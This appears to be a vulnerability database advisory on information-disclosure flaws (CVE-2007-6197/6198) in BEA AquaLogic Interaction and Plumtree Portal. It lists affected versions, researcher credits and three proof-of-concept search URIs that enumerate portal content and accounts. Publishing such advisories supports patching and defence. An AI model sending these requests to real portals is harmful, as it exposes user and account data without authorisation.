exploits , vulnerabilities , articles , BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

Title	BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities
Published	2007-11-28-12:00AM
Updated	2007-12-05-04:52PM
Class	Design Error
CVE	CVE-2007-6197 E-2007-6198
Remote	Yes
Local	No
Credit	Adrian Pastor <adrian.pastor [at] procheckup.com> and Jan Fry <jan.fry [at] procheckup.com> from ProCheckUp Ltd are credited with the discovery of these issues.
Vulnerable	BEA Systems Plumtree Foundation 5.0.4 BEA Systems Plumtree Foundation 5.0.3 BEA Systems Plumtree Foundation 5.0.2 BEA Systems Plumtree Foundation 6.0 SP1 BEA Systems Plumtree Foundation 6.0 BEA Systems AquaLogic Interaction 6.1 MP1 BEA Systems AquaLogic Interaction 6.0
Not Vulnerable
Code	Attackers can exploit these issues via a browser.The following proof-of-concept URIs are available:https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=admin&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and
TXT